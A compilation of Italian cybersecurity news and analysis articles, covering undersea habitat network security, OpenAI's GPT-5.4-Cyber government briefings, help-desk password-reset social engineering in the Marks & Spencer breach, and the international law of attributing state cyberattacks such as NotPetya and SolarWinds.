• Novembre 2024 – incidente del Mar Baltico: due cavi sottomarini (il C-Lion1, che collega la Finlandia alla Germania, più un altro tra Lituania e Svezia) sono stati danneggiati. Le autorità sospettano un possibile sabotaggio, con l’attenzione rivolta verso una nave cargo cinese, la Yi Peng 3, presente nell’area al momento degli incidenti.
• 2022 – taglio dei cavi sottomarini in Francia: in due diverse occasioni (ad aprile e a ottobre) dei cavi di telecomunicazione sottomarini nel sud della Francia sono stati intenzionalmente tagliati, causando interruzioni significative nei servizi Internet. Questi atti deliberati hanno sollevato preoccupazioni sulla sicurezza delle infrastrutture sottomarine.
• Febbraio 2024 – danni ai cavi vicino a Taiwan: due cavi sottomarini che collegano Taiwan alle isole Matsu sono stati tagliati, isolando digitalmente circa 14.000 residenti per sei settimane. Le autorità taiwanesi hanno accusato due navi cinesi di aver causato i danni, sollevando timori di sabotaggio deliberato.

La sicurezza comincia dall’infrastruttura

Per garantire la sicurezza informatica di un ambiente subacqueo, l’intera infrastruttura digitale deve essere progettata pensando alla resilienza e alla ridondanza. Ogni elemento, dalle connessioni cablate ai sistemi embedded, richiede una progettazione specifica e certificata, incentrata sul concetto di “Zero Trust”: fidarsi di nessuno, verificare tutto.

Per esempio, un elemento critico spesso trascurato è quello della supply chain: l’uso di hardware custom embedded in ambienti estremi porta con sé il rischio di componenti compromessi già nella fase di produzione. È fondamentale attuare processi rigorosi di verifica, certificazione e audiing dei fornitori e di ogni componente, dalla fase di progettazione fino all’installazione. Le minacce sottese alla supply chain sono tra le più difficili da individuare, perché agiscono nell’ombra, a volte per anni.

Inoltre, l’uso di sistemi legacy o di software non aggiornato spesso mantenuto per motivi di compatibilità con l’hardware subacqueo può introdurre vulnerabilità ed exploit noti. L’approccio “secure by design” deve essere adottato fin dalle prime fasi della progettazione, prevedendo aggiornamenti sicuri e verificabili anche in ambienti dove il collegamento alla rete non è continuo.

Dati sotto pressione

Mentre i tecnici a terra osservano flussi di dati salire dalla profondità, ci si chiede: dove finiscono queste informazioni? Come vengono trattate?

I dati generati da un habitat sottomarino sono una miniera di valore: parametri medici, segnali ambientali, tracciati di comunicazione, log di sistema, così come i dati confidenziali che vengono elaborati dai ricercatori. Alcuni sono soggetti a normati- ve quali il GDPR, altri rientrano in regimi di controllo strategico. L’archiviazione deve quindi rispettare criteri rigidi, con cifratura end-to-end, backup resilienti e politiche di conservazione adeguate.

Inoltre, considerando che gli “abitanti” del Vanguard vivranno per settimane (e in futuro mesi) in ambienti isolati, avranno giustamente la possibilità di navigare su Internet, guardare serie su Netflix, ascoltare musica o fare videochiamate con amici e familiari.

Ma offrire questi servizi apparentemente banali in un habitat sommerso pone sfide di cybersecurity cruciali. È infatti fondamentale che questo tipo di traffico (ricreativo, personale, non mission-critical) sia completamente segregato dalle reti operative e dai sistemi vitali dell’habitat.

In termini tecnici, questo implica l’adozione di una Network Segmentation rigorosa, che isola fisicamente o logicamente le seguenti classi di rete:

• Rete Operativa (OT) – sistemi vitali, ambientali, medicali, comando locale;
• Rete Missione (IT) – strumenti scientifici, raccolta dati, comunicazioni strategiche;
• Rete Ricreativa (User Internet) – accesso web, streaming, email personali, VOIP, app

L’isolamento può essere implementato tramite reti segmentate (VLAN), preferibilmente con l’impiego di router fisicamente separati, con link dedicati. È anche importante che l’hardware della rete ricreativa sia indipendente da quello critico: eventuali Wi-Fi personali, ad esempio, non devono condividere access point con sistemi tecnici.

E se la connessione con la superficie si interrompe? Nel mondo sommerso, la resilienza è un requisito vitale. Se un cavo si guasta, o se una boa viene danneggiata, il sistema deve continuare a operare. Linee di backup satellitari, logiche di failover, controllo locale dei sistemi: tutto deve contribuire a un obiettivo comune, ossia evitare che un guasto tecnico si trasformi in un’emergenza operativa.

Ma, ancora più importante, nessuno da terra deve poter prendere il controllo completo dell’habitat. Il comando resta in loco, nelle mani di chi vive in fondo al mare ogni giorno.

Da terra serve invece una piattaforma di monitoraggio centralizzata, capace di accorgersi in tempo reale di potenziali anomalie.

Minacce ibride e sabotaggi fisici

La sicurezza subacquea non è solo digitale. Un attacco fisico può precedere o accompagnare un’intrusione informatica. Esistono scenari di rischio dove operatori ostili potrebbero piazzare micro-sonde, intercettare segnali o persino sabotare una struttura con mezzi remoti.

Le boe di superficie, ad esempio, sono il punto più esposto. Una boa compromessa può essere usata per accedere ai sistemi interni o trasmettere dati alterati.

Inoltre, la comunicazione subacquea ha vincoli fisici molto severi: a differenza dell’aria o dello spazio, l’acqua è un mezzo ostile alla propagazione dei segnali elettromagnetici, in particolare delle onde radio ad alta frequenza. Già pochi metri sotto la superficie, queste onde vengono assorbite o distorte a causa della conducibilità salina, rendendo le classiche tecnologie wireless (come Wi-Fi e GPS) praticamente inutili.

Si usano quindi cavi, comunicazione ottica (laser subacquei) o comunicazione acustica. Quest’ultima soluzione – che può funzionare a profondità elevate – apre a una serie di rischi di cybersecurity unici, come Spoofing acustico (trasmettere segnali acustici falsi imitando comandi legittimi), Jamming (saturare la banda acustica con rumo- re artificiale), o Packet injection acustica (inserire pacchetti acustici malevoli nel flusso legittimo).

L’habitat Vanguard è progettato per trasmettere i dati tramite cavi ad alta capacità che lo collegano a boe e, poi, a una base operativa sulla terraferma. Questo sistema è vantaggioso rispetto a comunicazioni wireless (acustiche o ottiche) per:

• larghezza di banda superiore e minore latenza;
• maggiore stabilità in condizioni marine variabili;
• possibilità di trasportare contemporaneamente alimentazione elettrica e dati.

Tuttavia, questa soluzione porta con sé rischi cyber unici.

• Compromissione fisica del cavo: un attore ostile potrebbe tagliare, intercettare o manipolare fisicamente il cavo (es. installazione di una sonda passiva). Questo tipo di at- tacco può isolare completamente l’habitat, ritardare l’invio di dati critici, consentire l’intercettazione di informazioni.
• Intercettazione passiva del traffico: utilizzando apparecchiature altamente specializzate, un attore potrebbe “ascoltare” il traffico che passa nel cavo, specialmente se in rame o fibra ottica con scarsa
• Attacchi Man-In-The-Middle tramite relay compromesso: un attore ostile potrebbe interporre un relay (es. sulla boa di superficie), manipolando i dati in transito (falsi comandi, alterazione di messaggi).

Per mitigare queste minacce è fondamentale implementare contromisure mirate, ad esempio:

• autenticazione bidirezionale tra l’habitat e superficie, per assicurare che ogni pacchetto provenga e sia destinato solo a entità riconosciute e autorizzate;
• crittografia a livello di payload, che protegge non solo il canale di trasmissione ma anche i contenuti interni di ciascun messaggio, impedendo accessi non autorizzati anche in caso di intercettazione della connessione;
• monitoraggio comportamentale basato su intelligenza artificiale, in grado di apprendere i pattern normali di funzionamento del sistema e rilevare automaticamente eventuali deviazioni o segnali anomali, anche se non ancora classificati come minacce note.
• watermarking digitale e tecniche di firma crittografica, per verificare l’integrità e la paternità dei dati ricevuti, impedendo la manipolazione o l’iniezione di pacchetti contraffatti lungo il percorso.

Governance e lacune normative

Attualmente non esiste un quadro normativo internazionale specifico per la cybersicurezza degli habitat sottomarini.

Il diritto del mare, così come gli standard di sicurezza informatica tradizionali (es. NIST, ISO 27001), non affronta in modo esplicito le sfide legate alla protezione digitale di ambienti subacquei abitati.

A meno che gli habitat non vengano installati in acque territoriali, il mare è ancora terra (o meglio, acqua) di nessuno. Quale Stato è responsabile in acque internazionali? Chi stabilisce la proprietà dei dati raccolti? Come si gestisce un attacco sot- to giurisdizioni multiple? Temi oggi dibattuti anche dalle Nazioni Unite, nei contesti di governance degli “oceani digitali”.

Il futuro è già sommerso… e ancora tutto da scrivere

Quello che stiamo progettando oggi non è solo un laboratorio sottomarino: è un prototipo di civiltà. Un ambiente sicuro, intelligente, connesso. E come ogni società, anche questa deve proteggere il proprio spazio, fisico e digitale.

La cybersicurezza negli habitat subacquei non è un dettaglio tecnico: è la condizione necessaria per vivere il mare in modo sicuro e sostenibile. Perché nel blu profondo, dove ogni errore può essere vitale, solo la prevenzione fa davvero respirare.

Ma c’è un’altra consapevolezza da tenere ben presente: siamo pionieri. Nessuno ha mai costruito un’infrastruttura digitale che può ospitare esseri umani sul fondo del mare, in un ambiente tanto ostile quanto affascinante. Ogni requisito, ogni misura di sicurezza che oggi progettiamo, è frutto di deduzioni e simulazioni – ma non esiste ancora un “manuale” per la cybersicurezza subacquea.

È per questo che il progetto Vanguard è un progetto in evoluzione. Le sfide che ci attendono potrebbero non assomigliare a quelle che oggi immaginiamo. Potremmo dover ripensare tutto: dalla crittografia alla gestione energetica, dall’accesso ai dati alla protezione da nuove forme di attacco.

L’unica certezza è l’incertezza. E la nostra forza sta proprio nella capacità di adattarci, di imparare dagli imprevisti. In questo senso, la cybersicurezza non è solo una barriera difensiva: è un processo dinamico, una mentalità progettuale, una cultura della responsabilità che ci accompagnerà lungo tutto il viaggio.

E quel viaggio è appena iniziato.

Scopri di più consultando il white paper “Quaderni di Cyber Intelligence #8”, dove troverai analisi avanzate, case study e prospettive strategiche dedicate alle infrastrutture critiche, alla geopolitica digitale e alla governance della dimensione subacquea.

https://www.ictsecuritymagazine.com/articoli/cybersecurity-negli-habitat-sottomarini/

OpenAI ha avviato negli ultimi giorni una serie di briefing con agenzie federali statunitensi, governi locali e Paesi dell’alleanza Five Eyes per presentare le capacità del suo nuovo prodotto di cybersecurity: GPT-5.4-Cyber.

La notizia, riportata da Axios segnala l’interesse crescente delle istituzioni per strumenti AI avanzati applicati alla sicurezza.

GPT-5.4-Cyber: un nuovo modello per la difesa

La sicurezza informatica sta diventando uno dei principali terreni di confronto tra laboratori di AI come OpenAI e Anthropic. I modelli più avanzati, infatti, rappresentano un doppio elemento: da un lato possono introdurre nuovi rischi, dall’altro offrono capacità sempre più sofisticate per la difesa.

OpenAI ha presentato la scorsa settimana, una variante del suo modello di punta ottimizzata per attività di cybersecurity difensiva. Il sistema è stato mostrato a circa 50 professionisti della difesa informatica durante un evento a Washington, con dimostrazioni pratiche delle sue capacità.

Accesso controllato e alleanza Five Eyes

L’azienda ha avviato briefing anche con i Paesi membri dei Five Eyes — Stati Uniti, Regno Unito, Canada, Australia e Nuova Zelanda — con l’obiettivo di selezionare e abilitare i primi utilizzatori del modello.

GPT-5.4-Cyber sarà inizialmente distribuito in modo limitato, solo a fornitori di sicurezza, organizzazioni e ricercatori verificati. La scelta riflette la natura più permissiva del sistema, che richiede controlli rigorosi per evitare utilizzi impropri.

La sfida tra OpenAI e Anthropic

La mossa arriva a breve distanza dal lancio di Mythos da parte di Anthropic, un modello con caratteristiche simili ma orientato anche alla capacità di sfruttare le vulnerabilità individuate. Anche in quel caso, la distribuzione è stata limitata a pochi partner selezionati, tra cui Amazon, Apple e Microsoft, a conferma di un approccio prudente verso tecnologie ad alto potenziale dual use.

Il confronto tra OpenAI e Anthropic segna l’avvio di una nuova fase: la competizione non riguarda più solo modelli generativi, ma sistemi in grado di operare direttamente su codice e infrastrutture critiche. Si tratta di strumenti progettati per un uso professionale, con applicazioni immediate nella sicurezza informatica, dal vulnerability assessment all’analisi delle superfici di attacco.

Leggi le altre notizie sull’home page di Key4biz

https://www.key4biz.it/openai-presenta-gpt-5-4-cyber-a-governi-e-alleati-five-eyes/570853/

Apr 23, 2026 Giancarlo Calzetta Approfondimenti, Attacchi, Attacchi, In evidenza, News, RSS 0

---

Vi ricordate il vecchio adagio “cambia la password almeno ogni sei mesi”? Ecco, da tempo ormai questa prassi e diventata tra quelle sconsigliate da molti esperti, ma resta ancora in auge in alcuni ambienti, tanto che, secondo le analisi di Forrester, ogni reset di password può costare fino a 70 dollari all’azienda del dipendente che deve effettuarlo. Un dato che, da solo, racconta quanto questa attività sia diffusa e strutturalmente rilevante nei processi IT aziendali. Non sorprende quindi che molte organizzazioni abbiano introdotto strumenti di self-service password reset (SSPR), nel tentativo di alleggerire il carico sugli helpdesk. Purtroppo, il numero di richieste gestite manualmente resta elevato, tra onboarding agli strumenti self-service ed eccezioni operative. Inoltre, questa apparente banalità operativa nasconde però un problema molto più profondo: il reset password è uno dei punti di ingresso più sfruttati dagli attaccanti, perché consente di aggirare controlli anche avanzati come la multi-factor authentication.

Quando un reset apre la porta all’attacco

Il motivo è semplice: se un attaccante riesce a convincere un operatore a resettare una password, ottiene credenziali legittime. A quel punto, non è più necessario sfruttare vulnerabilità tecniche, perché l’accesso avviene attraverso canali perfettamente validi.

Un esempio concreto arriva dall’attacco del 2025 contro il retailer britannico Marks & Spencer. L’incidente ha avuto un impatto devastante, con la sospensione delle vendite online per cinque giorni e perdite stimate in circa 3,8 milioni di sterline al giorno.

Secondo le ricostruzioni, il gruppo Scattered Spider avrebbe ottenuto l’accesso iniziale impersonando un dipendente e contattando un service desk esterno. Un semplice reset di password ha fornito agli attaccanti credenziali valide, eliminando la necessità di qualsiasi exploit.

Dal primo accesso al dominio completo

Una volta entrati, gli attaccanti hanno sfruttato Active Directory per estrarre il file NTDS.dit, che contiene gli hash delle password di tutti gli utenti di dominio. Attraverso tecniche di cracking offline, è stato possibile recuperare ulteriori credenziali.

A quel punto, l’attacco si è trasformato in un’escalation silenziosa: movimenti laterali, utilizzo di strumenti legittimi e accessi apparentemente normali hanno consentito di espandere progressivamente il perimetro compromesso.

Quando il livello di accesso è diventato sufficiente, è entrato in gioco il ransomware, con la cifratura dei sistemi critici per pagamenti, e-commerce e logistica. Il risultato è stato un blocco operativo su larga scala, con impatti diretti su clienti e transazioni.

Il service desk come superficie d’attacco

Gli attacchi di social engineering di questo tipo sono particolarmente insidiosi perché non presentano indicatori evidenti di compromissione. Dal punto di vista dell’helpdesk, si tratta semplicemente di una richiesta di supporto come tante altre.

Ed è proprio questa normalità a rappresentare il problema: il service desk diventa un punto di accesso privilegiato per gli attaccanti, soprattutto quando i processi di verifica dell’identità si basano su informazioni facilmente reperibili o aggirabili. In assenza di controlli robusti, una richiesta apparentemente innocua può trasformarsi in un incidente critico.

Per ridurre il rischio, è necessario introdurre meccanismi di verifica che non possano essere facilmente replicati o simulati. L’operatore non deve basarsi su dati dichiarativi, ma deve attivare codici temporanei su dispositivi registrati o integrare sistemi di identità esistenti.

Il punto chiave è la standardizzazione: ogni richiesta deve seguire lo stesso processo, senza eccezioni o discrezionalità, eliminando una delle principali leve sfruttate dagli attaccant.

---

---

---

https://www.securityinfo.it/2026/04/23/reset-password-una-misura-di-sicurezza-che-diventa-minaccia/?utm_source=rss&utm_medium=rss&utm_campaign=reset-password-una-misura-di-sicurezza-che-diventa-minaccia

Il 29 aprile 2025, le autorità francesi hanno pubblicamente attribuito ad APT28, il gruppo hacker collegato all’unità 26165 del GRU russo, una serie di operazioni di spionaggio informatico condotte nel periodo 2021-2024 contro istituzioni governative, diplomatiche, della difesa, aerospaziali e della ricerca francesi.

Il Ministero degli Affari Esteri francese ha precisato che da almeno il 2021 questo gruppo è stato utilizzato per colpire o compromettere una dozzina di entità francesi, tra cui ministeri, amministrazioni locali, aziende della difesa e del settore aerospaziale, think tank e un’organizzazione sportiva coinvolta nei Giochi Olimpici di Parigi 2024.

Il comunicato ha impiegato un linguaggio deliberatamente preciso: “queste attività destabilizzanti non sono accettabili e sono contrarie alle norme ONU sul comportamento responsabile degli Stati nel cyberspazio”. Per la prima volta il governo francese ha accusato direttamente un’entità dell’intelligence militare russa, segnando una discontinuità rispetto alla tradizionale riservatezza diplomatica di Parigi. Contestualmente, il report tecnico dell’ANSSI ha documentato le catene di infezione utilizzate, rendendolo il documento tecnico governativo più dettagliato mai pubblicato da Parigi su un gruppo APT russo.

Non una dichiarazione di guerra. Non un’azione legale dinanzi alla Corte Internazionale di Giustizia. Una condanna politica accompagnata da prove tecniche. Questa scena si ripete con impressionante regolarità nel panorama geopolitico contemporaneo, ed è precisamente la sua ripetitività a porre una domanda scomoda: a cosa serve davvero l’attribuzione pubblica di un attacco informatico a uno Stato nazionale? Serve a scoraggiare? A costruire norme internazionali? O è, semplicemente, uno strumento di politica estera con un sottile rivestimento giuridico?

Attribuzione degli attacchi cyber: problema strutturale e definizioni giuridiche

Prima di discutere le conseguenze giuridiche dell’attribuzione, è necessario chiarire di cosa si parla esattamente quando si usa il termine. L’attribuzione tecnica può riferirsi all’identificazione della macchina da cui proviene un’operazione, dell’operatore di quella macchina, oppure della persona o entità che ha diretto l’operatore ad agire. Tutte e tre queste accezioni sono distinte l’una dall’altra, e distinte dall’attribuzione legale o politica, che cerca di assegnare la responsabilità di un cyberattacco ai suoi autori.

Questa tripartizione non è accademica: è il nodo gordiano di tutto il dibattito. Il rapporto del 2025 del GCSP, elaborato dal Sino-European Expert Working Group on the Application of International Law in Cyberspace, chiarisce che solo l’attribuzione legale, fondata sulle norme consuetudinarie riflesse negli ARSIWA (Draft Articles on Responsibility of States for Internationally Wrongful Acts), può stabilire un atto internazionalmente illecito, e che l’anonimato, gli attori proxy e le tecniche di offuscamento complicano i test tradizionali applicati in contesti non-cyber.

In pratica, ciò che gli Stati fanno pubblicamente, accusare Mosca per NotPetya, Pechino per il furto di proprietà intellettuale, Pyongyang per i furti alle piattaforme di criptovalute, è attribuzione politica, non legale. Gli Stati accusati negano uniformemente le accuse, indicano altri come responsabili o si rifiutano di commentare, mostrando pochi segni di cambiamento nel loro comportamento. Il naming c’è. Lo shaming, assai meno.

Lo standard probatorio del diritto internazionale: un vuoto normativo deliberato

Quando uno Stato vuole invocare la responsabilità internazionale di un altro per un’operazione cyber, il diritto internazionale esige un doppio passaggio: dimostrare che il comportamento è attribuibile allo Stato e che costituisce una violazione di un obbligo internazionale. Gli ARSIWA, adottati dalla Commissione di Diritto Internazionale nel 2001, prevedono che lo Stato sia responsabile per gli atti dei propri organi (articolo 4) o di attori non statali che agiscono sotto le sue istruzioni, direzione o controllo (articolo 8). Il problema è che né gli ARSIWA né la giurisprudenza della CIG specificano lo standard probatorio applicabile al cyber.

Il Tallinn Manual 2.0, il documento redatto dagli esperti del NATO CCDCOE che rappresenta la più autorevole codificazione non vincolante del diritto internazionale applicato al cyberspazio, affronta la questione in termini deliberatamente non prescrittivi.

Secondo il commento alla Regola 26, il diritto internazionale richiede un’analisi granulare che tenga conto di “l’affidabilità, la quantità, la direttezza, la natura (ad es. dati tecnici, intelligence umana) e la specificità delle informazioni disponibili pertinenti, considerate alla luce delle circostanze particolari e dell’importanza del diritto in questione.”

Michael Schmitt, uno dei principali architetti del Manuale, argomenta che lo standard applicabile per le contromisure dovrebbe essere quello della “ragionevole certezza” (reasonable certainty); altri esperti del CCDCOE propongono il criterio della “preponderanza delle prove” (preponderance of evidence). Il dibattito rimane aperto e senza consenso.

L’attorney general britannico Jeremy Wright ha precisato che nell’adottare contromisure “lo Stato vittima deve essere certo della propria attribuzione dell’atto a uno Stato ostile prima di intraprendere azioni in risposta.” Ma questa certezza è, per sua natura, politicamente costruita, non giuridicamente verificata da un organo terzo indipendente. Non esiste un tribunale internazionale competente a giudicare le controversie cyber in tempo reale. La CIG può essere adita, ma i procedimenti durano anni e richiedono il consenso delle parti. Nel frattempo, lo Stato che si ritiene vittima di un attacco deve scegliere se agire, rischiando di sbagliare, o attendere una certezza che potrebbe non arrivare mai.

Vale la pena segnalare che il dibattito accademico del 2025 ha rilanciato la questione della necessità di un aggiornamento del Manuale stesso. Un articolo del Journal of Law and Cyber Warfare del luglio 2025 argomenta che il Tallinn Manual 2.0 manca di orientamento in aree critiche legate all’intelligenza artificiale e alla guerra ibrida, e propone che una terza edizione dovrebbe sviluppare standard più chiari per attribuire la responsabilità quando sistemi di IA avviano condotte dannose in modo autonomo.

NotPetya: il caso paradigmatico e le sue implicazioni

Il 27 giugno 2017, il malware NotPetya si diffuse a partire dall’Ucraina colpendo infrastrutture in decine di Paesi. Si presentava come ransomware, ma era in realtà un wiper: non esisteva alcun meccanismo di decifrazione e i dati colpiti erano irrecuperabili. In totale, il malware causò circa 10 miliardi di dollari di danni. Solo per Merck, costretta ad affrontare la perdita di capacità produttiva e la sostituzione di 40.000 sistemi, il costo stimato dell’incidente fu di 1,4 miliardi di dollari. Per Maersk, che subì la sospensione delle operazioni in 76 porti in tutto il mondo, le perdite di ricavi furono stimate tra 250 e 300 milioni di dollari.

Otto mesi dopo l’attacco, i Paesi Five Eyes (Australia, Canada, Nuova Zelanda, Regno Unito e Stati Uniti) e la Danimarca attribuirono l’operazione al GRU, il servizio di intelligence militare russo. L’attribuzione faceva riferimento specificamente al gruppo Sandworm, un’unità del GRU specializzata in operazioni offensive di sabotaggio.

Dal punto di vista del diritto internazionale, NotPetya è un caso di scuola perché porta alle estreme conseguenze le contraddizioni dell’attribuzione. Gli esperti NATO CCDCOE hanno ritenuto che “NotPetya sia stato probabilmente lanciato da un attore statale o da un attore non statale con il supporto o l’approvazione di uno Stato.” Ma il condizionale “probabilmente” è esattamente il problema: anche la valutazione tecnica più autorevole disponibile in quel momento non raggiungeva la certezza richiesta per fondare contromisure lecite.

NotPetya illustra come gli Stati possano condurre operazioni di ampia portata con conseguenze transnazionali sfruttando la negabilità plausibile per sfuggire alla responsabilità. La Russia ha sistematicamente negato qualsiasi coinvolgimento, e nessuno Stato ha portato la controversia dinanzi a un tribunale internazionale. Restano le dichiarazioni politiche coordinate e, in un secondo momento, le sanzioni cyber europee: risposte reali, ma assai lontane da ciò che il diritto internazionale consentirebbe in teoria. Il dibattito rimane aperto su quali risposte siano lecite a un attacco di tipo NotPetya, e non è mai emersa una discussione pubblica strutturata su se tali operazioni costituiscano o meno un uso della forza ai sensi della Carta dell’ONU.

SolarWinds: dove finisce lo spionaggio lecito e dove inizia l’illecito

Il caso SolarWinds, emerso nel dicembre 2020, complica ulteriormente il quadro perché introduce un elemento che il diritto internazionale gestisce con estrema difficoltà: la distinzione tra spionaggio e attacco. L’operazione, formalmente attribuita dagli USA all’SVR russo nell’aprile 2021, ha compromesso il sistema di aggiornamento del software Orion di SolarWinds, inserendovi una backdoor. Secondo la dichiarazione ufficiale della Casa Bianca del 15 aprile 2021, la compromissione della supply chain di SolarWinds da parte dell’SVR aveva dato la possibilità di spiare o potenzialmente disturbare oltre 16.000 sistemi informatici in tutto il mondo. L’Intelligence Community statunitense ha attribuito questo giudizio il massimo grado di fiducia.

Lo spionaggio, per quanto eticamente discutibile, non è tradizionalmente vietato dal diritto internazionale consuetudinario. Ma SolarWinds non era semplice raccolta di intelligence: ha compromesso infrastrutture critiche, violato la supply chain del software e acquisito potenzialmente accesso a sistemi che, se attivati, avrebbero potuto causare danni fisici. La coercizione riguarda esattamente questo: privare uno Stato della libertà di scelta, costringendolo a fare cose che non farebbe altrimenti. Soprattutto nelle operazioni il cui scopo primario è lo spionaggio, la questione dell’intenzionalità rispetto agli effetti diventa critica.

A differenza di NotPetya o di altri attacchi distruttivi, SolarWinds era un’operazione di spionaggio, non un’operazione progettata per disturbare o danneggiare sistemi globali. Le precedenti amministrazioni avevano cercato di promuovere un accordo internazionale secondo cui, mentre il furto o il danno potrebbero giustificare sanzioni, il puro spionaggio cyber non lo farebbe. Ciò che SolarWinds ha dimostrato è che la soglia tra spionaggio lecito e atto internazionalmente illecito non è una linea ma un continuum, e che la distinzione dipende in ultima analisi da una valutazione politica prima ancora che giuridica.

Il ciclo delle sanzioni europee: strumento di deterrenza o rituale performativo?

L’Unione Europea ha costruito, a partire dal 2019, un regime sanzionatorio specifico per le operazioni cyber. Nel maggio 2025, il Consiglio ha prorogato le misure restrittive UE contro i cyberattacchi che minacciano l’Unione e i suoi Stati membri fino al 18 maggio 2026, con il quadro giuridico esteso fino al 18 maggio 2028.

In pratica, questo regime ha consentito l’adozione di sanzioni individuali e istituzionali. Nel dicembre 2025, il Consiglio UE ha sanzionato 12 individui e due entità per aver supportato minacce ibride russe contro l’Europa, tra cui tre individui legati all’unità GRU 29155, responsabile di attività contro Stati membri UE, alleati NATO e Ucraina. Parallelamente, nell’aprile 2025, l’UE ha sanzionato Lee Chang Ho, identificato come il capo del Reconnaissance General Bureau nordcoreano, per aver supervisionato unità di cyberattacco incluse quelle note come Lazarus e Kimsuky.

Nel dicembre 2025, il Regno Unito ha sanzionato le aziende tecnologiche cinesi I-Soon e Integrity Tech per il loro presunto ruolo in attività malevole contro sistemi IT di oltre 80 entità governative, pubbliche e private; il portavoce del Ministero degli Esteri cinese ha negato le accuse definendole “manipolazione politica.”

Il regime sanzionatorio è certamente uno strumento più sofisticato del semplice naming. Comporta conseguenze patrimoniali concrete: congelamento dei beni e divieto di viaggio. Trasmette un messaggio di coordinamento geopolitico occidentale. Ma la sua efficacia deterrente resta oggetto di dibattito. Gli individui sanzionati risiedono tipicamente nei Paesi che li impiegano, dove le sanzioni occidentali non hanno esecuzione diretta. Il segnale politico è forte, l’effetto pratico è circoscritto.

Il ruolo delle agenzie di intelligence: prove e segreti incompatibili

C’è una tensione irriducibile al cuore di qualsiasi attribuzione pubblica: le prove più convincenti sono, per definizione, quelle che uno Stato non può rivelare senza compromettere le proprie capacità di intelligence. Poiché una parte significativa dell’attribuzione di un cyberattacco riguarda lavoro di intelligence umana e tecnica, gli Stati lavoreranno sistematicamente per preservare l’anonimato di queste fonti.

Questo crea una situazione paradossale: lo Stato accusatore chiede allo Stato accusato di credere a un’accusa supportata da prove che non può mostrare. Lo Stato accusato nega. La comunità internazionale non ha strumenti per arbitrare. Gli Stati accusati negano uniformemente le accuse o si rifiutano di commentare, senza cambiare comportamento. Per i giuristi internazionali, il problema è aggravato dall’assenza del diritto internazionale in queste accuse: gli attacchi cyber sponsorizzati da stati sono raramente inquadrati giuridicamente nelle dichiarazioni di accusa ufficiali degli Stati.

Questo vuoto non è accidentale. È il risultato di una scelta politica largamente condivisa. Gli Stati che dispongono di capacità offensive cyber significative, e sono molti più di quanti si ammetta pubblicamente, hanno interesse a mantenere l’ambiguità normativa. Un diritto internazionale cyber chiaro e vincolante limiterebbe non solo i propri avversari, ma anche se stessi.

Contromisure cyber: il diritto che non osa dire il proprio nome

La dottrina delle contromisure nel diritto internazionale consente allo Stato leso di adottare azioni altrimenti illecite in risposta a un illecito dello Stato responsabile. Il Tallinn Manual 2.0, Regola 20, disciplina le contromisure cyber stabilendo condizioni di proporzionalità, necessità e obbligo di notificazione preliminare alla controparte, salvo circostanze eccezionali.

Gli Stati vittime di cyberattacchi da parte di altri Stati devono essere in grado di identificare quali regole del diritto internazionale siano state violate per sapere quale azione è loro consentita in risposta, incluso se hanno diritto ad adottare contromisure, ossia azioni che sarebbero altrimenti illecite ma che sono permissibili a determinate condizioni.

In pratica, le contromisure cyber rimangono uno strumento giuridicamente controverso. Il primo problema è la circolarità: per giustificare contromisure, lo Stato deve dimostrare che c’è stato un atto internazionalmente illecito, e per farlo deve sostenere un’attribuzione giuridica che, come si è detto, non ha standard concordati. Il secondo problema è l’escalation: se uno Stato vittimizzato da un’intrusione informatica adotta contromisure prematuramente ed è errato sull’attribuzione, esso ha a sua volta commesso un atto internazionalmente illecito. Se invece attende fino ad avere alta fiducia nella responsabilità statale, qualsiasi contromisura implementata rischia di essere considerata punizione, vietata dal diritto internazionale.

Esiste poi la questione delle contromisure collettive, adottate da Stati che non sono direttamente lesi. Il tema riguarda il diritto dello Stato non leso di adottare contromisure contro lo Stato responsabile ai sensi del diritto internazionale vigente, e le posizioni degli Stati verso questa forma di reazione cooperativa non istituzionalizzata. Il dibattito è aperto, e la prassi degli Stati rimane ancora molto embrionale.

Verso norme condivise: la prassi come costruzione dal basso

Il quadro che emerge è quello di un diritto internazionale che fatica ad adattarsi alla velocità e all’opacità del dominio cyber. L’attribuzione politica, con tutte le sue limitazioni, è diventata il principale meccanismo di governance informale delle operazioni cibernetiche statali. Le coalizioni di attribuzione congiunta rappresentano un’evoluzione significativa: nell’advisory congiunto del maggio 2025, i governi di sette Stati membri dell’UE e Paesi alleati hanno documentato come l’85ª Special Service Center del GRU, unità militare 26165, abbia preso di mira entità logistiche occidentali e aziende tecnologiche con attività di cyber espionage continuativa dal 2022.

Questa prassi coordinata ha un valore normativo non trascurabile. L’attribuzione pubblica ufficiale serve come pratica per i Paesi per esprimere la propria disapprovazione del comportamento inappropriato nel cyberspazio: ripetuta sistematicamente, può cumulativamente plasmare le pratiche internazionali e responsabilizzare lo Stato attaccante. È una forma di costruzione normativa dal basso, lenta e imperfetta, ma forse l’unica praticabile nell’assenza di un trattato vincolante in materia.

Il GCSP ha sottolineato nel 2025 che la distinzione tra attribuzione tecnica, politica e legale è fondamentale, poiché solo l’attribuzione legale, fondata sulle norme consuetudinarie degli ARSIWA, può stabilire un atto internazionalmente illecito, e che esistono visioni divergenti su come questi standard si applichino nel cyberspazio, dove anonimato, attori proxy e tecniche di offuscamento complicano i test tradizionali.

Conclusioni: la trasparenza come norma emergente, l’accountability come obiettivo incompiuto

L’evoluzione degli ultimi anni suggerisce una direzione, anche se non una soluzione. I meccanismi di attribuzione si stanno istituzionalizzando: le coalizioni si ampliano, le sanzioni si coordinano, i report tecnici delle agenzie nazionali (ANSSI, BSI, NCSC) diventano più dettagliati e più frequenti. La Francia che pubblica il 29 aprile 2025 un report tecnico sull’attività di APT28 nel momento stesso in cui attribuisce ufficialmente la campagna rappresenta qualcosa di qualitativamente diverso da una semplice dichiarazione diplomatica: è una forma di accountability pubblica che incorpora, anche senza citarlo esplicitamente, il linguaggio della responsabilità internazionale.

Permane tuttavia la contraddizione di fondo: gli Stati occidentali chiedono a voce alta accountability e trasparenza, ma mantengono le proprie operazioni offensive nell’ombra. Un diritto internazionale del cyber credibile richiede non solo che le vittime possano accusare, ma che esista una corte in cui farlo, uno standard di prova concordato e la volontà politica di sottoporsi agli stessi vincoli che si pretende di imporre agli avversari.

